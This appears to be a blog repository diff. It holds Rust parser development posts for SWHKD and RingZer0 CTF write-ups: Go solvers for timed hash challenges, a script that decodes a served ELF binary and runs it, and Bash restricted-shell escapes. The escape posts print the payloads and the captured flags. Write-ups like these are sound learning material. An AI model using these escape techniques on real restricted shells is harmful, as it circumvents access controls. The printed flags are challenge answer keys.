I had a talk with my GSoC mentor last week where we discussed whether bindings
|
||||
from imports that get redefined in the root config should be overwritten. After
|
||||
some back and forth, we decided to stick with the older behavior of overwriting.
|
||||
|
||||
To implement this, instead of blindly extending the list of bindings with what
|
||||
has been parsed, we check if a binding with the same definition exists. If so,
|
||||
we replace the binding's command with the new command.
|
||||
|
||||
```rust
|
||||
for binding in binding_parser(decl)? {
|
||||
if let Some(b) = bindings
|
||||
.iter_mut()
|
||||
.find(|b| b.definition == binding.definition)
|
||||
{
|
||||
b.command = binding.command;
|
||||
b.mode_instructions = binding.mode_instructions;
|
||||
} else {
|
||||
bindings.push(binding);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
# Unescaping commands in shorthands
|
||||
|
||||
This one's a fairly straightforward one but I probably would have missed it if it
|
||||
were not for the tests. The commands, just like keys, must be unescaped when present
|
||||
in shorthands. This is so that we can distinguish a comma separating two
|
||||
shorthand elements or a dash representing a range from a literal comma or a dash.
|
||||
|
||||
Solution? Simply reuse the unescape function we used in for the keys.
|
||||
|
||||
```rust
|
||||
// ...
|
||||
Rule::command_component => {
|
||||
command_variants.push(unescape(component.as_str()).to_string())
|
||||
}
|
||||
// ...
|
||||
```
|
||||
|
||||
# Removing trailing double ampersands from commands
|
||||
|
||||
When defining commands for bindings, swhkd allows us to chain commands with
|
||||
double ampersands (`&&`). Not only that, we can also invoke modes with special
|
||||
syntax. If the `&&` is followed by a `@enter` and a modename, we enter a mode
|
||||
whereas a `@escape` allows us to exit a mode.
|
||||
|
||||
In a previous article where we built a way to extract these modes during a single
|
||||
pass iteration, we extract the mode instruction to our list of mode instructions
|
||||
and if the last component was not a `&&`, we keep the `&&`.
|
||||
|
||||
This idea was somewhat flawed since and expression like the following keeps an
|
||||
extra trailing `&&`.
|
||||
|
||||
```
|
||||
echo hi && ls && @enter mymode
|
||||
```
|
||||
|
||||
Clearly, the last `&&` has no problem staying beside the `ls` while the `@enter`
|
||||
mode instruction was happily extracted away. The result `echo hi && ls &&` isn't
|
||||
a valid command though.
|
||||
|
||||
To fix this, we add a small snippet of code to pop off the last element if it happens
|
||||
to be just one `&&`.
|
||||
|
||||
```rust
|
||||
if comm
|
||||
.last()
|
||||
.is_some_and(|last| last.len() == 1 && last[0] == "&&")
|
||||
{
|
||||
comm.pop();
|
||||
}
|
||||
```
|
||||
|
||||
# Wrapping up
|
||||
|
||||
So yeah, those were the small bugs that needed to be squashed and with that all
|
||||
the previous tests as well as new tests are passing. This also marks the end of
|
||||
the development phase on my end. Perhaps in a next post, I'll talk about how I
|
||||
actually use SWHKD in my daily workflows. Stay tuned!
|
||||
@@ -0,0 +1,150 @@
|
||||
---
|
||||
title: "Preventing Infinite Recursions From Eating Your Lunch"
|
||||
date: 2024-07-04T09:57:01+05:30
|
||||
tags:
|
||||
- EBNF
|
||||
- Google Summer of Code
|
||||
- Rust
|
||||
- SWHKD
|
||||
- Waycrate
|
||||
- Wayland
|
||||
draft: false
|
||||
---
|
||||
|
||||
Hello and welcome to the eighth instalment in the series where we build a
|
||||
parser for a domain specific language in Rust. I'd highly recommend
|
||||
going through the previous articles to make sense of what we’ll talk about today.
|
||||
|
||||
After a bit of back and forth with my mentor, we landed on moving the logic that imports
|
||||
other config files into the parser crate itself. Config files can reference other modules
|
||||
using import statements of the following form:
|
||||
|
||||
```
|
||||
include some_other_module.swhkd
|
||||
```
|
||||
|
||||
The grammar side is fairly simple to implement, we match the token "include" followed by
|
||||
a path to some other file.
|
||||
|
||||
```
|
||||
import_file = { (!NEWLINE ~ ANY)+ }
|
||||
import = { "include" ~ import_file }
|
||||
```
|
||||
|
||||
We'll add this to the core set of variants so that we can actually match the expression.
|
||||
|
||||
```
|
||||
content = _{ comment | mode | unbind | binding | import | NEWLINE }
|
||||
```
|
||||
|
||||
Now we could very well blindly recurse through modules imported one after another but
|
||||
that comes with the subtle pitfall of an infinite recursion. Allow me to elaborate:
|
||||
|
||||
Assume you have a module called `module_a` that is the top-level or the root config file.
|
||||
Let's say it imports another module, `module_b`. If `module_b` now imports `module_a`,
|
||||
our code enters an infinite recursion state, continuously evaluating these two modules forever.
|
||||
|
||||
Thus, the key takeaway is to implement book-keeping for the import paths so that they
|
||||
form a directional acyclic graph. This requires us to write some additional code for
|
||||
our parser.
|
||||
|
||||
First, let's create a field in our parser struct that stores tha names of all the imports it
|
||||
has seen.
|
||||
|
||||
```rust
|
||||
pub struct SwhkdParser {
|
||||
pub bindings: Vec<Binding>,
|
||||
pub unbinds: Vec<Definition>,
|
||||
pub imports: BTreeSet<String>,
|
||||
pub modes: Vec<Mode>,
|
||||
}
|
||||
```
|
||||
|
||||
Notice that the import field is a `BTreeSet` or a binary tree set. As you might know, adding
|
||||
duplicate elements to a set discards them, keeping only the unique elements behind. Although we could have
|
||||
used a `HashSet` here, a binary tree set is faster since it does not require a dedicated
|
||||
hashing function. Considering that the average setup
|
||||
would not wield even a thousand submodules, it's sufficient to store the imports in a set.
|
||||
|
||||
We'll create slightly separate implementations to differentiate between the root module
|
||||
and any submodules it imports. For now, let's tackle the implementation for the submodules.
|
||||
|
||||
We create a method for the parser result called `as_import` for loading any of these aforementioned submodules.
|
||||
|
||||
```rust
|
||||
fn as_import(input: ParserInput, seen: &mut BTreeSet<String>) -> Result<Self, ParseError> {
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
The `seen` argument is how the caller tells the callee about what import paths it has already seen.
|
||||
|
||||
While processing import expressions, we keep adding the imports we have seen so far to a local `BTreeSet`.
|
||||
|
||||
```rust
|
||||
let mut imports = BTreeSet::new();
|
||||
for decl in contents.into_inner() {
|
||||
match decl.as_rule() {
|
||||
// other rules like bindings
|
||||
Rule::import => imports.extend(import_parser(decl)),
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Once all the tokens in the current config have been parsed, we can move on to adding the imports to
|
||||
the set of `seen` imports.
|
||||
|
||||
```rust
|
||||
while let Some(import) = imports.pop_first() {
|
||||
if !seen.insert(import.clone()) {
|
||||
continue;
|
||||
}
|
||||
let child = Self::as_import(ParserInput::Path(Path::new(&import)), seen)?;
|
||||
imports.extend(child.imports);
|
||||
bindings.extend(child.bindings);
|
||||
unbinds.extend(child.unbinds);
|
||||
modes.extend(child.modes);
|
||||
}
|
||||
```
|
||||
|
||||
Although we recurse here, the base case when the set of `seen` elements already contains an import
|
||||
saves us from entering an infinite loop.
|
||||
|
||||
Once that's done, we can return the newly parsed result.
|
||||
|
||||
```rust
|
||||
Ok(SwhkdParser {
|
||||
bindings,
|
||||
unbinds,
|
||||
imports,
|
||||
modes,
|
||||
})
|
||||
```
|
||||
|
||||
Coming back to the root config, this is where we create the topmost set of `seen` imports that can
|
||||
be passed on to any `Self::as_import` calls.
|
||||
|
||||
```rust
|
||||
pub fn from(input: ParserInput) -> Result<Self, ParseError> {
|
||||
let mut root_imports = BTreeSet::new();
|
||||
let mut root = Self::as_import(input, &mut root_imports)?;
|
||||
root.imports = root_imports;
|
||||
Ok(root)
|
||||
}
|
||||
```
|
||||
|
||||
We start off with an empty set and delegate the loading of the config to the `as_import` function,
|
||||
sending it a mutable reference to this (kind of) global source of truth, at least throughout the
|
||||
call stack of import related functions.
|
||||
|
||||
Lastly, for the sake of backwards compatibility, we assign the imports we have seen so far to the
|
||||
root parser result. This was the behavior present in the original parser. Note that the import
|
||||
fields in the submodules will all be empty since we popped them one by one in this loop:
|
||||
|
||||
```rust
|
||||
while let Some(import) = imports.pop_first() {
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
Okay, that's all for now. See you soon!
|
||||
177
content/post/r0-hash-me-please.md
Normal file
@@ -0,0 +1,177 @@
|
||||
---
|
||||
title: "Hash Me Please"
|
||||
tags:
|
||||
- Cryptography
|
||||
- CTF
|
||||
- RingZer0
|
||||
- Web Parsing
|
||||
date: 2022-08-19T09:57:00+05:30
|
||||
draft: false
|
||||
---
|
||||
|
||||
In this RingZer0 challenge, we are asked to visit
|
||||
http://challenges.ringzer0team.com:10013/ and are given 2 seconds to hash the
|
||||
provided message using the SHA512 algorithm. We must send the response as
|
||||
[http://challenges.ringzer0team.com:10013/?r=_response_](http://challenges.ringzer0team.com:10013/?r=response)
|
||||
and to do that, we'll be using some Golang.
|
||||
|
||||
Let's declare the URI as a constant.
|
||||
|
||||
```go
|
||||
const uri = "http://challenges.ringzer0team.com:10013/"
|
||||
```
|
||||
|
||||
We fetch the challenge page using the `Get` function from the `http` standard
|
||||
library, checking for errors along the way.
|
||||
|
||||
```go
|
||||
resp, err := http.Get(uri)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
```
|
||||
|
||||
We defer closing the response body when the program ends.
|
||||
|
||||
```go
|
||||
defer resp.Body.Close()
|
||||
```
|
||||
|
||||
Next, we are going to use a library called `goquery` to parse the HTML in the body of the response.
|
||||
|
||||
```go
|
||||
doc, err := goquery.NewDocumentFromReader(resp.Body)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
```
|
||||
|
||||
We will now match a single (`goquery.Single`) _div_ element with the class
|
||||
"message" and read the text inside it.
|
||||
|
||||
```go
|
||||
message := doc.FindMatcher(goquery.Single(".message")).Text()
|
||||
```
|
||||
|
||||
To grab the line which has the actual message, we split the lines and take the
|
||||
line at index 2 (which is line 3, remember computers begin indexing from 0).
|
||||
|
||||
```go
|
||||
line := strings.Split(message, "\n")[2]
|
||||
```
|
||||
|
||||
Just to be on the safe side, let's also trim out any leading or trailing tabs and whitespaces.
|
||||
|
||||
```go
|
||||
line = strings.Trim(line, " \t")
|
||||
```
|
||||
|
||||
We can now find the SHA512 hash of the line using the standard `crypto/sha512`
|
||||
library. For this we pass a byte slice representation of the string to the `Sum512` function.
|
||||
|
||||
```go
|
||||
hash := sha512.Sum512([]byte(line))
|
||||
```
|
||||
|
||||
To construct the new URI, we can use format strings. Here `%s` represents the
|
||||
original URI, `?r=` is the parameter we are asked to supply and `%x` represents
|
||||
the hex digest of the hash.
|
||||
|
||||
```go
|
||||
flagUri := fmt.Sprintf("%s?r=%x", uri, hash)
|
||||
```
|
||||
|
||||
Assuming that our program is quick enough to compute the hash withing 2 seconds
|
||||
😅, we will fetch the `flagUri`. As usual, we defer closing the response body
|
||||
when the program ends.
|
||||
|
||||
```go
|
||||
flagPage, err := http.Get(flagUri)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
defer flagPage.Body.Close()
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
At this point, you could print the response body text which is what I did for
|
||||
the first time.
|
||||
|
||||
This might be a time to pause and ponder, perhaps try out the aforementioned
|
||||
technique.
|
||||
|
||||
For the sake of completeness, I will write the rest of the program so that
|
||||
it only prints the flag when run.
|
||||
|
||||
---
|
||||
|
||||
Let's parse the response body using `goquery` again.
|
||||
|
||||
```go
|
||||
doc, err = goquery.NewDocumentFromReader(flagPage.Body)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
```
|
||||
|
||||
The flag is located in the _div_ with the class "alert-info".
|
||||
|
||||
```go
|
||||
flag := doc.FindMatcher(goquery.Single(".alert-info")).Text()
|
||||
```
|
||||
|
||||
Finally, we print out the flag.
|
||||
|
||||
```go
|
||||
fmt.Println(flag)
|
||||
```
|
||||
|
||||
Here's the code in all it's glory.
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/sha512"
|
||||
"fmt"
|
||||
"github.com/PuerkitoBio/goquery"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const uri = "http://challenges.ringzer0team.com:10013/"
|
||||
|
||||
func main() {
|
||||
resp, err := http.Get(uri)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
|
||||
defer resp.Body.Close()
|
||||
doc, err := goquery.NewDocumentFromReader(resp.Body)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
|
||||
message := doc.FindMatcher(goquery.Single(".message")).Text()
|
||||
line := strings.Split(message, "\n")[2]
|
||||
line = strings.Trim(line, " \t")
|
||||
hash := sha512.Sum512([]byte(line))
|
||||
|
||||
flagUri := fmt.Sprintf("%s?r=%x", uri, hash)
|
||||
flagPage, err := http.Get(flagUri)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
defer flagPage.Body.Close()
|
||||
|
||||
doc, err = goquery.NewDocumentFromReader(flagPage.Body)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
flag := doc.FindMatcher(goquery.Single(".alert-info")).Text()
|
||||
fmt.Println(flag)
|
||||
}
|
||||
```
|
||||
193
content/post/r0-hash-me-reloaded.md
Normal file
@@ -0,0 +1,193 @@
|
||||
---
|
||||
title: "RingZer0 CTF Hash Me Reloaded"
|
||||
date: 2022-08-19T09:57:15+05:30
|
||||
tags:
|
||||
- Cryptography
|
||||
- CTF
|
||||
- RingZer0
|
||||
- Web Parsing
|
||||
draft: false
|
||||
---
|
||||
|
||||
In this RingZer0 challenge, we are to visit the challenge url where we are
|
||||
given 2 seconds to SHA512 hash the message represented by the binary provided
|
||||
string. We must send the response with the request parameter `r`. Let's write
|
||||
a go program to do that.
|
||||
|
||||
First let's declare the url as a constant.
|
||||
|
||||
```go
|
||||
const uri = "http://challenges.ringzer0team.com:10014/"
|
||||
```
|
||||
|
||||
We fetch the challenge page and defer closing its body once the program ends.
|
||||
|
||||
```go
|
||||
resp, err := http.Get(uri)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
```
|
||||
|
||||
We will use the `goquery` library to parse the response HTML.
|
||||
|
||||
```go
|
||||
doc, err := goquery.NewDocumentFromReader(resp.Body)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
```
|
||||
|
||||
We find the single (`goquery.Single`) element with the "message" class and get
|
||||
the text contents of the element.
|
||||
|
||||
```go
|
||||
text := doc.FindMatcher(goquery.Single(".message")).Text()
|
||||
```
|
||||
|
||||
To grab the line which has the actual binary string, we split the lines and
|
||||
take the third (which is index 2, remember computers begin indexing from 0).
|
||||
|
||||
```go
|
||||
binary := strings.Split(text, "\n")[2]
|
||||
```
|
||||
|
||||
Let's also trim any spaces and tabs as a precaution.
|
||||
|
||||
```go
|
||||
binary = strings.Trim(binary, " \t")
|
||||
```
|
||||
|
||||
We declare a buffer where we can store the decoded contents.
|
||||
|
||||
```go
|
||||
var buf []byte
|
||||
```
|
||||
|
||||
Since each character in the string represents a bit, 8 of them represent a byte.
|
||||
We will loop with a sliding window of 8 characters, parse them as an integer into a byte
|
||||
and append them to the buffer.
|
||||
|
||||
```go
|
||||
for i := 0; i < len(binary)/8; i++ {
|
||||
// decode sequence of 8 bits with base 2
|
||||
if b, err := strconv.ParseInt(binary[i*8:8+i*8], 2, 8); err != nil {
|
||||
log.Fatal(err)
|
||||
} else {
|
||||
buf = append(buf, byte(b))
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Let's find the SHA512 hash of the decoded string using the `Sum512` function
|
||||
from the standard `crypto/sha512` library.
|
||||
|
||||
```go
|
||||
hash := sha512.Sum512(buf)
|
||||
```
|
||||
|
||||
We use format strings to construct the new URI, we can use format strings. Here
|
||||
`%s` is a placeholder for the constant URI, `?r=` is the parameter we are
|
||||
supply the answer to and `%x` represents the hex digest of the hash.
|
||||
|
||||
```go
|
||||
flagUri := fmt.Sprintf("%s?r=%x", uri, hash)
|
||||
```
|
||||
|
||||
Once we have this URI, we can send this through to get a response. As done
|
||||
previously, we defer closing the response body once the program ends.
|
||||
|
||||
```go
|
||||
flagPage, err := http.Get(flagUri)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
defer flagPage.Body.Close()
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
Pause and ponder to make sure you have understood the code so far.
|
||||
|
||||
Now you could print the response body as I did the first time solving this.
|
||||
However, as with any other writeup, I will write the rest of the program so
|
||||
that it only prints the flag when run.
|
||||
|
||||
---
|
||||
|
||||
Let’s parse the response body using `goquery` again.
|
||||
|
||||
```go
|
||||
doc, err = goquery.NewDocumentFromReader(flagPage.Body)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
```
|
||||
|
||||
The flag is located in the _div_ element with the class “alert-info”.
|
||||
|
||||
```go
|
||||
flag := doc.FindMatcher(goquery.Single(".alert-info")).Text()
|
||||
```
|
||||
|
||||
Finally, we print out the flag.
|
||||
|
||||
```go
|
||||
fmt.Println(flag)
|
||||
```
|
||||
|
||||
The final code becomes the following:
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/sha512"
|
||||
"fmt"
|
||||
"github.com/PuerkitoBio/goquery"
|
||||
"log"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const uri = "http://challenges.ringzer0team.com:10014/"
|
||||
|
||||
func main() {
|
||||
resp, err := http.Get(uri)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
doc, err := goquery.NewDocumentFromReader(resp.Body)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
text := doc.FindMatcher(goquery.Single(".message")).Text()
|
||||
binary := strings.Split(text, "\n")[2]
|
||||
binary = strings.Trim(binary, " \t")
|
||||
var buf []byte
|
||||
for i := 0; i < len(binary)/8; i++ {
|
||||
// decode sequence of 8 bits with base 2
|
||||
if b, err := strconv.ParseInt(binary[i*8:8+i*8], 2, 8); err != nil {
|
||||
log.Fatal(err)
|
||||
} else {
|
||||
buf = append(buf, byte(b))
|
||||
}
|
||||
}
|
||||
hash := sha512.Sum512(buf)
|
||||
flagUri := fmt.Sprintf("%s?r=%x", uri, hash)
|
||||
flagPage, err := http.Get(flagUri)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
defer flagPage.Body.Close()
|
||||
doc, err = goquery.NewDocumentFromReader(flagPage.Body)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
flag := doc.FindMatcher(goquery.Single(".alert-info")).Text()
|
||||
fmt.Println(flag)
|
||||
}
|
||||
```
|
||||
249
content/post/r0-i-saw-a-little-elf.md
Normal file
@@ -0,0 +1,249 @@
|
||||
---
|
||||
title: "I Saw a Little Elf"
|
||||
date: 2022-08-19T09:57:34+05:30
|
||||
tags:
|
||||
- CTF
|
||||
- ELF
|
||||
- RingZer0
|
||||
- Web Parsing
|
||||
draft: false
|
||||
---
|
||||
|
||||
## Introduction
|
||||
|
||||
This challenge asks us to connect to an webpage with a base64 encoded message.
|
||||
If we try to decode the message manually, the decoded message ends up either in a reversed ELF (Executable and Linkable Format) binary or more base64 to be decoded.
|
||||
|
||||
Trying this multiple times, it becomes apparent that the challenge reverses an ELF binary, encodes it one or more times in base64 and sends it to us.
|
||||
If we run the executable, we are given a string which we must send to the challenge endpoint through the `r` HTTP GET query parameter. The real challenge is to do this within the few seconds before the server resets the challenge.
|
||||
|
||||
## Exploration
|
||||
|
||||
Let's start by fetching the contents of the challenge URI.
|
||||
|
||||
```go
|
||||
resp, err := http.Get(uri)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
```
|
||||
|
||||
To parse the webpage, we will use the `goquery` package.
|
||||
We create a new goquery document from the response body.
|
||||
|
||||
```go
|
||||
doc, err := goquery.NewDocumentFromReader(resp.Body)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
```
|
||||
|
||||
From our initial exploration, we know that the challenge
|
||||
data can be extracted from the HTML `div` element with the
|
||||
"message" class.
|
||||
|
||||
We use a matcher that matches a single, that is, the first
|
||||
occurence of the aforementioned element and extract the
|
||||
text inside the element.
|
||||
|
||||
```go
|
||||
message := doc.FindMatcher(goquery.Single(".message")).Text()
|
||||
```
|
||||
|
||||
The raw text has a few leading and trailing lines that are
|
||||
not useful for us. We will split the lines and take the one
|
||||
after the first two lines.
|
||||
|
||||
```go
|
||||
message = strings.Split(message, "\n")[2]
|
||||
```
|
||||
|
||||
We will wipe any newlines, spaces and tabs before further
|
||||
processing. To do this, we will write a small helper function like so:
|
||||
|
||||
```go
|
||||
func WipeSet(s, set string) string {
|
||||
for _, char := range set {
|
||||
s = strings.Replace(s, string(char), "", -1)
|
||||
}
|
||||
return s
|
||||
}
|
||||
```
|
||||
|
||||
and utilize the function in the main function as:
|
||||
|
||||
```go
|
||||
challenge := WipeSet(message, "\n\t ")
|
||||
```
|
||||
|
||||
Next, to decode the challenge base64 itself, we
|
||||
initalize a slice to store the raw decoded bytes.
|
||||
|
||||
```go
|
||||
var Bytes []byte
|
||||
```
|
||||
|
||||
Since we don't know how many levels the binary has
|
||||
been encoded in base64, we begin with an infinite loop.
|
||||
|
||||
```go
|
||||
for {
|
||||
// until we break out of the loop
|
||||
}
|
||||
```
|
||||
|
||||
We use the base64 standard library to decode the string.
|
||||
|
||||
```go
|
||||
Bytes, err = base64.StdEncoding.DecodeString(challenge)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
```
|
||||
|
||||
If the decoded bytes end with the reversed ELF header, we
|
||||
can stop iterating and just reverse the bytes to yield the
|
||||
original executable file.
|
||||
|
||||
```go
|
||||
if bytes.HasSuffix(Bytes, []byte{0x46, 0x4c, 0x45, 0x7f}) {
|
||||
for i, j := 0, len(Bytes)-1; i < j; i, j = i+1, j-1 {
|
||||
Bytes[i], Bytes[j] = Bytes[j], Bytes[i]
|
||||
}
|
||||
break
|
||||
}
|
||||
```
|
||||
|
||||
Otherwise, we convert the bytes to string for the next round
|
||||
of decoding.
|
||||
|
||||
```go
|
||||
challenge = string(Bytes)
|
||||
```
|
||||
|
||||
This marks the end of the repeated decoding in the loop.
|
||||
|
||||
We write the binary to a file called "exe" with the read, write and executable permissions for our user (`0o700`).
|
||||
|
||||
```go
|
||||
if err := ioutil.WriteFile("exe", Bytes, 0o700); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
```
|
||||
|
||||
The proof of work is the output generated by running the binary.
|
||||
|
||||
```go
|
||||
secret, err := exec.Command("./exe").Output()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
```
|
||||
|
||||
After wiping any newlines and formatting the url with the r parameter as the secret,
|
||||
we set the request off.
|
||||
|
||||
```go
|
||||
flagPage, err := http.Get(
|
||||
fmt.Sprintf("%s?r=%s", uri, WipeSet(string(secret), "\n")),
|
||||
)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
defer flagPage.Body.Close()
|
||||
```
|
||||
|
||||
Now that we have the flag page we can create a new goquery document from this response's body.
|
||||
|
||||
```go
|
||||
doc, err = goquery.NewDocumentFromReader(flagPage.Body)
|
||||
```
|
||||
|
||||
Finally, we can print the text in the "alert-info" div, which is the flag.
|
||||
|
||||
```go
|
||||
fmt.Println(doc.FindMatcher(goquery.Single(".alert-info")).Text())
|
||||
```
|
||||
|
||||
Here is the code in all its entirety.
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"github.com/PuerkitoBio/goquery"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net/http"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const uri = "http://challenges.ringzer0team.com:10015/"
|
||||
|
||||
func WipeSet(s, set string) string {
|
||||
for _, char := range set {
|
||||
s = strings.Replace(s, string(char), "", -1)
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func main() {
|
||||
resp, err := http.Get(uri)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
doc, err := goquery.NewDocumentFromReader(resp.Body)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
|
||||
message := doc.FindMatcher(goquery.Single(".message")).Text()
|
||||
message = strings.Split(message, "\n")[2]
|
||||
challenge := WipeSet(message, "\n\t ")
|
||||
|
||||
var Bytes []byte
|
||||
|
||||
for {
|
||||
Bytes, err = base64.StdEncoding.DecodeString(challenge)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
if bytes.HasSuffix(Bytes, []byte{0x46, 0x4c, 0x45, 0x7f}) {
|
||||
for i, j := 0, len(Bytes)-1; i < j; i, j = i+1, j-1 {
|
||||
Bytes[i], Bytes[j] = Bytes[j], Bytes[i]
|
||||
}
|
||||
break
|
||||
}
|
||||
challenge = string(Bytes)
|
||||
|
||||
}
|
||||
|
||||
if err := ioutil.WriteFile("exe", Bytes, 0o700); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
secret, err := exec.Command("./exe").Output()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
flagPage, err := http.Get(
|
||||
fmt.Sprintf("%s?r=%s", uri, WipeSet(string(secret), "\n")),
|
||||
)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
defer flagPage.Body.Close()
|
||||
|
||||
doc, err = goquery.NewDocumentFromReader(flagPage.Body)
|
||||
fmt.Println(doc.FindMatcher(goquery.Single(".alert-info")).Text())
|
||||
}
|
||||
```
|
||||
52
content/post/ringzer0ctf-bash-jail1.md
Normal file
@@ -0,0 +1,52 @@
|
||||
---
|
||||
title: "Bash Jail 1"
|
||||
tags:
|
||||
- Bash
|
||||
- CTF
|
||||
- RingZer0
|
||||
- Sandbox Escape
|
||||
date: 2022-07-24T12:27:56+05:30
|
||||
draft: false
|
||||
---
|
||||
|
||||
# The challenge
|
||||
|
||||
Upon SSHing into the box, we are told that the flag is located at `/home/level1/flag.txt`
|
||||
|
||||
Challenge bash code:
|
||||
```bash
|
||||
while :
|
||||
do
|
||||
echo "Your input:"
|
||||
read input
|
||||
output=`$input`
|
||||
done
|
||||
```
|
||||
|
||||
# Inference and experimenation
|
||||
|
||||
The script is reading an input, executes it and then stores it in the
|
||||
`output` variable without ever displaying the output to the console.
|
||||
|
||||
I tried a dummy command to see if I could see its `stderr` since command
|
||||
substitution (backticks) only capture the `stdout`.
|
||||
|
||||
```
|
||||
echo hi 1>&2
|
||||
```
|
||||
|
||||
Unfortunately that did not work, we did not have the "hi" blurted out in
|
||||
the stderr. So, I resorted to another route.
|
||||
|
||||
# Solution
|
||||
|
||||
Remember how, if we ever tweak our bashrc file, we need to source it
|
||||
to bring it to effect? Well, we can also, source the flag.txt file
|
||||
and the script should error out with the contents of the file.
|
||||
|
||||
```bash
|
||||
source flag.txt
|
||||
flag.txt: line 1: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found
|
||||
```
|
||||
|
||||
There we have our flag.
|
||||
59
content/post/ringzer0ctf-bash-jail2.md
Normal file
@@ -0,0 +1,59 @@
|
||||
---
|
||||
title: "Bash Jail 2"
|
||||
date: 2022-07-24T12:28:56+05:30
|
||||
tags:
|
||||
- Bash
|
||||
- CTF
|
||||
- RingZer0
|
||||
- Sandbox Escape
|
||||
draft: false
|
||||
---
|
||||
|
||||
# The challenge
|
||||
Logging into the box we are told that the flag is located at `/home/level2/flag.txt`
|
||||
|
||||
### Challenge bash code
|
||||
```bash
|
||||
function check_space {
|
||||
if [[ $1 == *[bdks';''&'' ']* ]]
|
||||
then
|
||||
return 0
|
||||
fi
|
||||
|
||||
return 1
|
||||
}
|
||||
|
||||
while :
|
||||
do
|
||||
echo "Your input:"
|
||||
read input
|
||||
if check_space "$input"
|
||||
then
|
||||
echo -e '\033[0;31mRestricted characters has been used\033[0m'
|
||||
else
|
||||
output="echo Your command is: $input"
|
||||
eval $output
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
# Inference
|
||||
This time, the `check_space` function returns a `1` if there are any characters in the input
|
||||
string among `b`,`d`,`k`,`s`, a semicolon, an ampersand and a whitespace. If the function does
|
||||
return 1, we get a "restricted characters" message and no further processing happens.
|
||||
|
||||
However, if our input passes the check, the program echoes `"Your command is: $input"`.
|
||||
We can use a simple command like `cat flag.txt` in backticks (command substitution) to execute
|
||||
it in the `eval` statement. However, whitespaces are not allowed. To bypass this, we can use a
|
||||
tab in place of the whitespace.
|
||||
|
||||
# Solution
|
||||
We give the script the following input:
|
||||
```
|
||||
`cat flag.txt`
|
||||
```
|
||||
|
||||
Which gets evaluated and prints the flag.
|
||||
```
|
||||
Your command is: FLAG-a78i8TFD60z3825292rJ9JK12gIyVI5P
|
||||
```
|
||||
69
content/post/ringzer0ctf-bash-jail3.md
Normal file
@@ -0,0 +1,69 @@
|
||||
---
|
||||
title: "Bash Jail 3"
|
||||
date: 2022-07-24T12:29:56+05:30
|
||||
tags:
|
||||
- Bash
|
||||
- CTF
|
||||
- RingZer0
|
||||
- Sandbox Escape
|
||||
draft: false
|
||||
---
|
||||
|
||||
# The challenge
|
||||
|
||||
Logging into the box we are told that the flag is located at `/home/level3/flag.txt`.
|
||||
|
||||
```bash
|
||||
function check_space {
|
||||
if [[ $1 == *[bdksc]* ]]
|
||||
then
|
||||
return 0
|
||||
fi
|
||||
|
||||
return 1
|
||||
}
|
||||
|
||||
while :
|
||||
do
|
||||
echo "Your input:"
|
||||
read input
|
||||
if check_space "$input"
|
||||
then
|
||||
echo -e '\033[0;31mRestricted characters has been used\033[0m'
|
||||
else
|
||||
output=`$input` &>/dev/null
|
||||
echo "Command executed"
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
We are also told that this prompt is launched using `./prompt.sh 2>/dev/null`
|
||||
